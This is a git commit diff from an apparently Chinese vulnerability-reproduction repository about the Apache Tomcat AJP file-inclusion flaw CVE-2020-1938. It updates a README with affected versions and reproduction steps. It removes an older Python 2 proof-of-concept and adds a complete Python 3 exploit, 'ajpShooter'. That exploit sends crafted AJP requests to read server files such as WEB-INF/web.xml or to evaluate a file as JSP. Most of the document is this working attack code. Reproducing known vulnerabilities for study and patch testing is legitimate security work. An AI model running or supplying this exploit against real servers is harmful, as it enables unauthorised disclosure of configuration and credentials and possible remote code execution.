优化 Apache-Tomcat-Ajp LFI (CNVD-2020-10487 /CVE-2020-1938)
This commit is contained in:
parent
5bd8e2c4a8
commit
3443bfdbd9
Binary file not shown.
Before Width: | Height: | Size: 256 KiB |
Binary file not shown.
Before Width: | Height: | Size: 30 KiB |
@ -1,15 +1,20 @@
|
||||
# 影响版本</br>
|
||||
Apache Tomcat 6</br>
|
||||
Apache Tomcat 7 < 7.0.100</br>
|
||||
Apache Tomcat 8 < 8.5.51</br>
|
||||
Apache Tomcat 9 < 9.0.31</br>
|
||||
# 漏洞复现</br>
|
||||
首先启动apache tamcat服务,访问localhost:8080可以成功访问如下界面
|
||||
</br>
|
||||
端口扫描发现8009 8080端口开启,证明有该漏洞。</br>
|
||||
接着利用POC文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,注意执行环境为python 2。</br>
|
||||
命令为 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip –p 8009 –f WEB-INF/web.xml</br>
|
||||
执行成功后可以看到成功访问到该文件。</br>
|
||||
</br>
|
||||
# Apache-Tomcat-Ajp LFI
|
||||
## 漏洞编号
|
||||
CVE-2020-1938 / CNVD-2020-10487
|
||||
## 影响版本
|
||||
* Apache Tomcat 6
|
||||
* Apache Tomcat 7 < 7.0.100
|
||||
* Apache Tomcat 8 < 8.5.51
|
||||
* Apache Tomcat 9 < 9.0.31
|
||||
## 漏洞复现
|
||||
1. 启动apache tomcat服务,访问localhost:8080可以成功访问如下界面
|
||||

|
||||
2. 端口扫描发现8009 8080端口开启,同时上一步的截图中发现版本为`9.0.30` ,证明有该漏洞。
|
||||
3. 执行poc 脚本:
|
||||
```shell
|
||||
python exp.py http://localhost:8080/ 8009 /WEB-INF/web.xml read
|
||||
```
|
||||
4. 执行成功后可以看到成功访问到该文件
|
||||

|
||||
|
||||
|
||||
|
@ -1,302 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
#CNVD-2020-10487 Tomcat-Ajp lfi
|
||||
#by ydhcui
|
||||
import struct
|
||||
|
||||
# Some references:
|
||||
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
|
||||
def pack_string(s):
|
||||
if s is None:
|
||||
return struct.pack(">h", -1)
|
||||
l = len(s)
|
||||
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
|
||||
def unpack(stream, fmt):
|
||||
size = struct.calcsize(fmt)
|
||||
buf = stream.read(size)
|
||||
return struct.unpack(fmt, buf)
|
||||
def unpack_string(stream):
|
||||
size, = unpack(stream, ">h")
|
||||
if size == -1: # null string
|
||||
return None
|
||||
res, = unpack(stream, "%ds" % size)
|
||||
stream.read(1) # \0
|
||||
return res
|
||||
class NotFoundException(Exception):
|
||||
pass
|
||||
class AjpBodyRequest(object):
|
||||
# server == web server, container == servlet
|
||||
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
|
||||
MAX_REQUEST_LENGTH = 8186
|
||||
def __init__(self, data_stream, data_len, data_direction=None):
|
||||
self.data_stream = data_stream
|
||||
self.data_len = data_len
|
||||
self.data_direction = data_direction
|
||||
def serialize(self):
|
||||
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
|
||||
if len(data) == 0:
|
||||
return struct.pack(">bbH", 0x12, 0x34, 0x00)
|
||||
else:
|
||||
res = struct.pack(">H", len(data))
|
||||
res += data
|
||||
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
|
||||
header = struct.pack(">bbH", 0x12, 0x34, len(res))
|
||||
else:
|
||||
header = struct.pack(">bbH", 0x41, 0x42, len(res))
|
||||
return header + res
|
||||
def send_and_receive(self, socket, stream):
|
||||
while True:
|
||||
data = self.serialize()
|
||||
socket.send(data)
|
||||
r = AjpResponse.receive(stream)
|
||||
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
|
||||
r = AjpResponse.receive(stream)
|
||||
|
||||
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
|
||||
break
|
||||
class AjpForwardRequest(object):
|
||||
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
|
||||
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
|
||||
# server == web server, container == servlet
|
||||
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
|
||||
COMMON_HEADERS = ["SC_REQ_ACCEPT",
|
||||
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
|
||||
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
|
||||
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
|
||||
]
|
||||
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
|
||||
def __init__(self, data_direction=None):
|
||||
self.prefix_code = 0x02
|
||||
self.method = None
|
||||
self.protocol = None
|
||||
self.req_uri = None
|
||||
self.remote_addr = None
|
||||
self.remote_host = None
|
||||
self.server_name = None
|
||||
self.server_port = None
|
||||
self.is_ssl = None
|
||||
self.num_headers = None
|
||||
self.request_headers = None
|
||||
self.attributes = None
|
||||
self.data_direction = data_direction
|
||||
def pack_headers(self):
|
||||
self.num_headers = len(self.request_headers)
|
||||
res = ""
|
||||
res = struct.pack(">h", self.num_headers)
|
||||
for h_name in self.request_headers:
|
||||
if h_name.startswith("SC_REQ"):
|
||||
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
|
||||
res += struct.pack("BB", 0xA0, code)
|
||||
else:
|
||||
res += pack_string(h_name)
|
||||
|
||||
res += pack_string(self.request_headers[h_name])
|
||||
return res
|
||||
|
||||
def pack_attributes(self):
|
||||
res = b""
|
||||
for attr in self.attributes:
|
||||
a_name = attr['name']
|
||||
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
|
||||
res += struct.pack("b", code)
|
||||
if a_name == "req_attribute":
|
||||
aa_name, a_value = attr['value']
|
||||
res += pack_string(aa_name)
|
||||
res += pack_string(a_value)
|
||||
else:
|
||||
res += pack_string(attr['value'])
|
||||
res += struct.pack("B", 0xFF)
|
||||
return res
|
||||
def serialize(self):
|
||||
res = ""
|
||||
res = struct.pack("bb", self.prefix_code, self.method)
|
||||
res += pack_string(self.protocol)
|
||||
res += pack_string(self.req_uri)
|
||||
res += pack_string(self.remote_addr)
|
||||
res += pack_string(self.remote_host)
|
||||
res += pack_string(self.server_name)
|
||||
res += struct.pack(">h", self.server_port)
|
||||
res += struct.pack("?", self.is_ssl)
|
||||
res += self.pack_headers()
|
||||
res += self.pack_attributes()
|
||||
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
|
||||
header = struct.pack(">bbh", 0x12, 0x34, len(res))
|
||||
else:
|
||||
header = struct.pack(">bbh", 0x41, 0x42, len(res))
|
||||
return header + res
|
||||
def parse(self, raw_packet):
|
||||
stream = StringIO(raw_packet)
|
||||
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
|
||||
self.prefix_code, self.method = unpack(stream, "bb")
|
||||
self.protocol = unpack_string(stream)
|
||||
self.req_uri = unpack_string(stream)
|
||||
self.remote_addr = unpack_string(stream)
|
||||
self.remote_host = unpack_string(stream)
|
||||
self.server_name = unpack_string(stream)
|
||||
self.server_port = unpack(stream, ">h")
|
||||
self.is_ssl = unpack(stream, "?")
|
||||
self.num_headers, = unpack(stream, ">H")
|
||||
self.request_headers = {}
|
||||
for i in range(self.num_headers):
|
||||
code, = unpack(stream, ">H")
|
||||
if code > 0xA000:
|
||||
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
|
||||
else:
|
||||
h_name = unpack(stream, "%ds" % code)
|
||||
stream.read(1) # \0
|
||||
h_value = unpack_string(stream)
|
||||
self.request_headers[h_name] = h_value
|
||||
def send_and_receive(self, socket, stream, save_cookies=False):
|
||||
res = []
|
||||
i = socket.sendall(self.serialize())
|
||||
if self.method == AjpForwardRequest.POST:
|
||||
return res
|
||||
|
||||
r = AjpResponse.receive(stream)
|
||||
assert r.prefix_code == AjpResponse.SEND_HEADERS
|
||||
res.append(r)
|
||||
if save_cookies and 'Set-Cookie' in r.response_headers:
|
||||
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
|
||||
|
||||
# read body chunks and end response packets
|
||||
while True:
|
||||
r = AjpResponse.receive(stream)
|
||||
res.append(r)
|
||||
if r.prefix_code == AjpResponse.END_RESPONSE:
|
||||
break
|
||||
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
|
||||
continue
|
||||
else:
|
||||
raise NotImplementedError
|
||||
break
|
||||
|
||||
return res
|
||||
|
||||
class AjpResponse(object):
|
||||
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
|
||||
COMMON_SEND_HEADERS = [
|
||||
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
|
||||
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
|
||||
]
|
||||
def parse(self, stream):
|
||||
# read headers
|
||||
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
|
||||
|
||||
if self.prefix_code == AjpResponse.SEND_HEADERS:
|
||||
self.parse_send_headers(stream)
|
||||
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
|
||||
self.parse_send_body_chunk(stream)
|
||||
elif self.prefix_code == AjpResponse.END_RESPONSE:
|
||||
self.parse_end_response(stream)
|
||||
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
|
||||
self.parse_get_body_chunk(stream)
|
||||
else:
|
||||
raise NotImplementedError
|
||||
|
||||
def parse_send_headers(self, stream):
|
||||
self.http_status_code, = unpack(stream, ">H")
|
||||
self.http_status_msg = unpack_string(stream)
|
||||
self.num_headers, = unpack(stream, ">H")
|
||||
self.response_headers = {}
|
||||
for i in range(self.num_headers):
|
||||
code, = unpack(stream, ">H")
|
||||
if code <= 0xA000: # custom header
|
||||
h_name, = unpack(stream, "%ds" % code)
|
||||
stream.read(1) # \0
|
||||
h_value = unpack_string(stream)
|
||||
else:
|
||||
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
|
||||
h_value = unpack_string(stream)
|
||||
self.response_headers[h_name] = h_value
|
||||
|
||||
def parse_send_body_chunk(self, stream):
|
||||
self.data_length, = unpack(stream, ">H")
|
||||
self.data = stream.read(self.data_length+1)
|
||||
|
||||
def parse_end_response(self, stream):
|
||||
self.reuse, = unpack(stream, "b")
|
||||
|
||||
def parse_get_body_chunk(self, stream):
|
||||
rlen, = unpack(stream, ">H")
|
||||
return rlen
|
||||
|
||||
@staticmethod
|
||||
def receive(stream):
|
||||
r = AjpResponse()
|
||||
r.parse(stream)
|
||||
return r
|
||||
|
||||
import socket
|
||||
|
||||
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
|
||||
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
|
||||
fr.method = method
|
||||
fr.protocol = "HTTP/1.1"
|
||||
fr.req_uri = req_uri
|
||||
fr.remote_addr = target_host
|
||||
fr.remote_host = None
|
||||
fr.server_name = target_host
|
||||
fr.server_port = 80
|
||||
fr.request_headers = {
|
||||
'SC_REQ_ACCEPT': 'text/html',
|
||||
'SC_REQ_CONNECTION': 'keep-alive',
|
||||
'SC_REQ_CONTENT_LENGTH': '0',
|
||||
'SC_REQ_HOST': target_host,
|
||||
'SC_REQ_USER_AGENT': 'Mozilla',
|
||||
'Accept-Encoding': 'gzip, deflate, sdch',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
'Cache-Control': 'max-age=0'
|
||||
}
|
||||
fr.is_ssl = False
|
||||
fr.attributes = []
|
||||
return fr
|
||||
|
||||
class Tomcat(object):
|
||||
def __init__(self, target_host, target_port):
|
||||
self.target_host = target_host
|
||||
self.target_port = target_port
|
||||
|
||||
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.socket.connect((target_host, target_port))
|
||||
self.stream = self.socket.makefile("rb", bufsize=0)
|
||||
|
||||
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
|
||||
self.req_uri = req_uri
|
||||
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
|
||||
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
|
||||
if user is not None and password is not None:
|
||||
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
|
||||
for h in headers:
|
||||
self.forward_request.request_headers[h] = headers[h]
|
||||
for a in attributes:
|
||||
self.forward_request.attributes.append(a)
|
||||
responses = self.forward_request.send_and_receive(self.socket, self.stream)
|
||||
if len(responses) == 0:
|
||||
return None, None
|
||||
snd_hdrs_res = responses[0]
|
||||
data_res = responses[1:-1]
|
||||
if len(data_res) == 0:
|
||||
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
|
||||
return snd_hdrs_res, data_res
|
||||
|
||||
'''
|
||||
javax.servlet.include.request_uri
|
||||
javax.servlet.include.path_info
|
||||
javax.servlet.include.servlet_path
|
||||
'''
|
||||
|
||||
import argparse
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("target", type=str, help="Hostname or IP to attack")
|
||||
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
|
||||
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
|
||||
args = parser.parse_args()
|
||||
t = Tomcat(args.target, args.port)
|
||||
_,data = t.perform_request('/asdf',attributes=[
|
||||
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
|
||||
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
|
||||
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
|
||||
])
|
||||
print('----------------------------')
|
||||
print("".join([d.data for d in data]))
|
386
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/exp.py
Normal file
386
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/exp.py
Normal file
@ -0,0 +1,386 @@
|
||||
#!/usr/bin/python3
|
||||
# Author: 00theway
|
||||
|
||||
import socket
|
||||
import binascii
|
||||
import argparse
|
||||
import urllib.parse
|
||||
|
||||
debug = False
|
||||
|
||||
|
||||
def log(type, *args, **kwargs):
|
||||
if type == 'debug' and debug == False:
|
||||
return
|
||||
elif type == 'append' and debug == True:
|
||||
return
|
||||
elif type == 'append':
|
||||
kwargs['end'] = ''
|
||||
print(*args, **kwargs)
|
||||
return
|
||||
print('[%s]' % type.upper(), *args, **kwargs)
|
||||
|
||||
|
||||
class ajpRequest(object):
|
||||
def __init__(self, request_url, method='GET', headers=[], attributes=[]):
|
||||
self.request_url = request_url
|
||||
self.method = method
|
||||
self.headers = headers
|
||||
self.attributes = attributes
|
||||
|
||||
def method2code(self, method):
|
||||
methods = {
|
||||
'OPTIONS': 1,
|
||||
'GET': 2,
|
||||
'HEAD': 3,
|
||||
'POST': 4,
|
||||
'PUT': 5,
|
||||
'DELETE': 6,
|
||||
'TRACE': 7,
|
||||
'PROPFIND': 8
|
||||
}
|
||||
code = methods.get(method, 2)
|
||||
return code
|
||||
|
||||
def make_headers(self):
|
||||
header2code = {
|
||||
b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
|
||||
b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
|
||||
b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
|
||||
b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
|
||||
b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
|
||||
b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
|
||||
b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
|
||||
b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
|
||||
b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
|
||||
b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
|
||||
b'host': b'\xA0\x0B', # SC_REQ_HOST
|
||||
b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
|
||||
b'referer': b'\xA0\x0D', # SC_REQ_REFERER
|
||||
b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
|
||||
}
|
||||
headers_ajp = []
|
||||
|
||||
for (header_name, header_value) in self.headers:
|
||||
code = header2code.get(header_name, b'')
|
||||
if code != b'':
|
||||
headers_ajp.append(code)
|
||||
headers_ajp.append(self.ajp_string(header_value))
|
||||
else:
|
||||
headers_ajp.append(self.ajp_string(header_name))
|
||||
headers_ajp.append(self.ajp_string(header_value))
|
||||
|
||||
return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
|
||||
|
||||
def make_attributes(self):
|
||||
'''
|
||||
org.apache.catalina.jsp_file
|
||||
javax.servlet.include.servlet_path + javax.servlet.include.path_info
|
||||
'''
|
||||
attribute2code = {
|
||||
b'remote_user': b'\x03',
|
||||
b'auth_type': b'\x04',
|
||||
b'query_string': b'\x05',
|
||||
b'jvm_route': b'\x06',
|
||||
b'ssl_cert': b'\x07',
|
||||
b'ssl_cipher': b'\x08',
|
||||
b'ssl_session': b'\x09',
|
||||
b'req_attribute': b'\x0A', # Name (the name of the attribut follows)
|
||||
b'ssl_key_size': b'\x0B'
|
||||
}
|
||||
attributes_ajp = []
|
||||
|
||||
for (name, value) in self.attributes:
|
||||
code = attribute2code.get(name, b'')
|
||||
if code != b'':
|
||||
attributes_ajp.append(code)
|
||||
if code == b'\x0A':
|
||||
for v in value:
|
||||
attributes_ajp.append(self.ajp_string(v))
|
||||
else:
|
||||
attributes_ajp.append(self.ajp_string(value))
|
||||
|
||||
return b''.join(attributes_ajp)
|
||||
|
||||
def ajp_string(self, message_bytes):
|
||||
# an AJP string
|
||||
# the length of the string on two bytes + string + plus two null bytes
|
||||
message_len_int = len(message_bytes)
|
||||
return self.int2byte(message_len_int, 2) + message_bytes + b'\x00'
|
||||
|
||||
def int2byte(self, data, byte_len=1):
|
||||
return data.to_bytes(byte_len, 'big')
|
||||
|
||||
def make_forward_request_package(self):
|
||||
'''
|
||||
AJP13_FORWARD_REQUEST :=
|
||||
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
|
||||
method (byte)
|
||||
protocol (string)
|
||||
req_uri (string)
|
||||
remote_addr (string)
|
||||
remote_host (string)
|
||||
server_name (string)
|
||||
server_port (integer)
|
||||
is_ssl (boolean)
|
||||
num_headers (integer)
|
||||
request_headers *(req_header_name req_header_value)
|
||||
attributes *(attribut_name attribute_value)
|
||||
request_terminator (byte) OxFF
|
||||
'''
|
||||
req_ob = urllib.parse.urlparse(self.request_url)
|
||||
|
||||
# JK_AJP13_FORWARD_REQUEST
|
||||
prefix_code_int = 2
|
||||
prefix_code_bytes = self.int2byte(prefix_code_int)
|
||||
method_bytes = self.int2byte(self.method2code(self.method))
|
||||
protocol_bytes = b'HTTP/1.1'
|
||||
req_uri_bytes = req_ob.path.encode('utf8')
|
||||
remote_addr_bytes = b'127.0.0.1'
|
||||
remote_host_bytes = b'localhost'
|
||||
server_name_bytes = req_ob.hostname.encode('utf8')
|
||||
|
||||
# SSL flag
|
||||
if req_ob.scheme == 'https':
|
||||
is_ssl_boolean = 1
|
||||
else:
|
||||
is_ssl_boolean = 0
|
||||
|
||||
# port
|
||||
server_port_int = req_ob.port
|
||||
if not server_port_int:
|
||||
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
|
||||
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
|
||||
|
||||
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
|
||||
|
||||
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
|
||||
|
||||
num_headers_bytes, headers_ajp_bytes = self.make_headers()
|
||||
|
||||
attributes_ajp_bytes = self.make_attributes()
|
||||
|
||||
message = []
|
||||
message.append(prefix_code_bytes)
|
||||
message.append(method_bytes)
|
||||
message.append(self.ajp_string(protocol_bytes))
|
||||
message.append(self.ajp_string(req_uri_bytes))
|
||||
message.append(self.ajp_string(remote_addr_bytes))
|
||||
message.append(self.ajp_string(remote_host_bytes))
|
||||
message.append(self.ajp_string(server_name_bytes))
|
||||
message.append(server_port_bytes)
|
||||
message.append(is_ssl_bytes)
|
||||
message.append(num_headers_bytes)
|
||||
message.append(headers_ajp_bytes)
|
||||
message.append(attributes_ajp_bytes)
|
||||
message.append(b'\xff')
|
||||
message_bytes = b''.join(message)
|
||||
|
||||
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
|
||||
|
||||
return send_bytes
|
||||
|
||||
|
||||
class ajpResponse(object):
|
||||
def __init__(self, s, out_file):
|
||||
self.sock = s
|
||||
self.out_file = out_file
|
||||
self.body_start = False
|
||||
self.common_response_headers = {
|
||||
b'\x01': b'Content-Type',
|
||||
b'\x02': b'Content-Language',
|
||||
b'\x03': b'Content-Length',
|
||||
b'\x04': b'Date',
|
||||
b'\x05': b'Last-Modified',
|
||||
b'\x06': b'Location',
|
||||
b'\x07': b'Set-Cookie',
|
||||
b'\x08': b'Set-Cookie2',
|
||||
b'\x09': b'Servlet-Engine',
|
||||
b'\x0a': b'Status',
|
||||
b'\x0b': b'WWW-Authenticate',
|
||||
}
|
||||
if not self.out_file:
|
||||
self.out_file = False
|
||||
else:
|
||||
log('*', 'store response in %s' % self.out_file)
|
||||
self.out = open(self.out_file, 'wb')
|
||||
|
||||
def parse_response(self):
|
||||
log('debug', 'start')
|
||||
|
||||
magic = self.recv(2) # first two bytes are the 'magic'
|
||||
log('debug', 'magic', magic, binascii.b2a_hex(magic))
|
||||
# next two bytes are the length
|
||||
data_len_int = self.read_int(2)
|
||||
|
||||
code_int = self.read_int(1)
|
||||
log('debug', 'code', code_int)
|
||||
|
||||
if code_int == 3:
|
||||
self.parse_send_body_chunk()
|
||||
elif code_int == 4:
|
||||
self.parse_headers()
|
||||
elif code_int == 5:
|
||||
self.parse_response_end()
|
||||
quit()
|
||||
|
||||
self.parse_response()
|
||||
|
||||
def parse_headers(self):
|
||||
log("append", '\n')
|
||||
log('debug', 'parsing RESPONSE HEADERS')
|
||||
|
||||
status_int = self.read_int(2)
|
||||
msg_bytes = self.read_string()
|
||||
|
||||
log('<', status_int, msg_bytes.decode('utf8'))
|
||||
|
||||
headers_number_int = self.read_int(2)
|
||||
log('debug', 'headers_nb', headers_number_int)
|
||||
|
||||
for i in range(headers_number_int):
|
||||
# header name: two cases
|
||||
first_byte = self.recv(1)
|
||||
second_byte = self.recv(1)
|
||||
|
||||
if first_byte == b'\xa0':
|
||||
header_key_bytes = self.common_response_headers[second_byte]
|
||||
else:
|
||||
header_len_bytes = first_byte + second_byte
|
||||
header_len_int = int.from_bytes(header_len_bytes, byteorder='big')
|
||||
header_key_bytes = self.read_bytes(header_len_int)
|
||||
# consume the 0x00 terminator
|
||||
self.recv(1)
|
||||
|
||||
header_value_bytes = self.read_string()
|
||||
try:
|
||||
header_key_bytes = header_key_bytes.decode('utf8')
|
||||
header_value_bytes = header_value_bytes.decode('utf8')
|
||||
except:
|
||||
pass
|
||||
log('<', '%s: %s' % (header_key_bytes, header_value_bytes))
|
||||
|
||||
def parse_send_body_chunk(self):
|
||||
if not self.body_start:
|
||||
log('append', '\n')
|
||||
log('debug', 'start parsing body chunk')
|
||||
self.body_start = True
|
||||
chunk = self.read_string()
|
||||
if self.out_file:
|
||||
self.out.write(chunk)
|
||||
else:
|
||||
try:
|
||||
chunk = chunk.decode('utf8')
|
||||
except:
|
||||
pass
|
||||
|
||||
log('append', chunk)
|
||||
|
||||
def parse_response_end(self):
|
||||
log('debug', 'start parsing end')
|
||||
code_reuse_int = self.read_int(1)
|
||||
log('debug', "finish parsing end", code_reuse_int)
|
||||
self.sock.close()
|
||||
|
||||
def read_int(self, int_len):
|
||||
return int.from_bytes(self.recv(int_len), byteorder='big')
|
||||
|
||||
def read_bytes(self, bytes_len):
|
||||
return self.recv(bytes_len)
|
||||
|
||||
def read_string(self, int_len=2):
|
||||
data_len = self.read_int(int_len)
|
||||
data = self.recv(data_len)
|
||||
# consume the 0x00 terminator
|
||||
end = self.recv(1)
|
||||
log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end))
|
||||
return data
|
||||
|
||||
def recv(self, data_len):
|
||||
data = self.sock.recv(data_len)
|
||||
while len(data) < data_len:
|
||||
log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data)))
|
||||
data += self.sock.recv(data_len - len(data))
|
||||
return data
|
||||
|
||||
|
||||
class ajpShooter(object):
|
||||
def __init__(self, args):
|
||||
self.args = args
|
||||
self.headers = args.header
|
||||
self.ajp_port = args.ajp_port
|
||||
self.requesturl = args.url
|
||||
self.target_file = args.target_file
|
||||
self.shooter = args.shooter
|
||||
self.method = args.X
|
||||
self.out_file = args.out_file
|
||||
|
||||
def shoot(self):
|
||||
headers = self.transform_headers()
|
||||
|
||||
target_file = self.target_file.encode('utf8')
|
||||
|
||||
attributes = []
|
||||
evil_req_attributes = [
|
||||
(b'javax.servlet.include.request_uri', b'index'),
|
||||
(b'javax.servlet.include.servlet_path', target_file)
|
||||
]
|
||||
|
||||
for req_attr in evil_req_attributes:
|
||||
attributes.append((b"req_attribute", req_attr))
|
||||
|
||||
if self.shooter == 'read':
|
||||
self.requesturl += '/index.txt'
|
||||
else:
|
||||
self.requesturl += '/index.jsp'
|
||||
|
||||
ajp_ip = urllib.parse.urlparse(self.requesturl).hostname
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((ajp_ip, self.ajp_port))
|
||||
|
||||
message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()
|
||||
s.send(message)
|
||||
|
||||
ajpResponse(s, self.out_file).parse_response()
|
||||
|
||||
def transform_headers(self):
|
||||
self.headers = [] if not self.headers else self.headers
|
||||
newheaders = []
|
||||
for header in self.headers:
|
||||
hsplit = header.split(':')
|
||||
hname = hsplit[0]
|
||||
hvalue = ':'.join(hsplit[1:])
|
||||
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
|
||||
|
||||
return newheaders
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# parse command line arguments
|
||||
print('''
|
||||
_ _ __ _ _
|
||||
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
|
||||
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
|
||||
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
|
||||
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|
||||
|__/|_|
|
||||
00theway,just for test
|
||||
''')
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/')
|
||||
parser.add_argument('ajp_port', default=8009, type=int, help='ajp port')
|
||||
parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg')
|
||||
parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file')
|
||||
|
||||
parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url')
|
||||
parser.add_argument('-H', '--header', help='add a header', action='append')
|
||||
parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET',
|
||||
choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND'])
|
||||
parser.add_argument('-d', '--data', nargs=1, help='The data to POST')
|
||||
parser.add_argument('-o', '--out-file', help='write response to file')
|
||||
parser.add_argument('--debug', action='store_true', default=False)
|
||||
|
||||
args = parser.parse_args()
|
||||
debug = args.debug
|
||||
ajpShooter(args).shoot()
|
Loading…
x
Reference in New Issue
Block a user